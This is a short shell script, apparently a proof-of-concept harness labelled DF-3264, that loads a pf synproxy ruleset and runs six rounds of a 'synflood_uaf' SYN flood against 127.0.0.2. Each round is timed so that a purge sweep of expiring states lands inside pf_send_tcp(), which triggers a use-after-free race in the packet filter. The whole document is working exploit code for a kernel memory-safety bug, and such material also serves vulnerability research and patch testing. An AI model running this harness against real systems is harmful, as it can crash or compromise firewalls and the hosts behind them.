DF-3264 / race.sh
#!/bin/sh # DF-3264: run the race for several rounds; each round: 512 synproxy states # created at T0, expire at T0+120 (PFTM_TCP_FIRST_PACKET); retransmit flood # from T0+117 for 12s. The purge thread's sweep at T0+120 must land inside a # pf_send_tcp() ip_output token-drop window of one of the in-flight SYNs. pfctl -f /root/poc/synproxy.conf pfctl -e 2>/dev/null i=0 while [ $i -lt 6 ]; do i=$((i+1)) echo "===== RACE ROUND $i start $(date) =====" ( /root/poc/synflood_uaf 127.0.0.2 $((8100 + i)) >> /tmp/flood.log 2>&1 & ) # round duration: 117 sleep + 12 flood + margin sleep 136 pkill synflood_uaf 2>/dev/null echo "===== RACE ROUND $i end $(date) : states now: $(pfctl -si | grep 'current entries') =====" done echo "RACE-DONE $(date)" |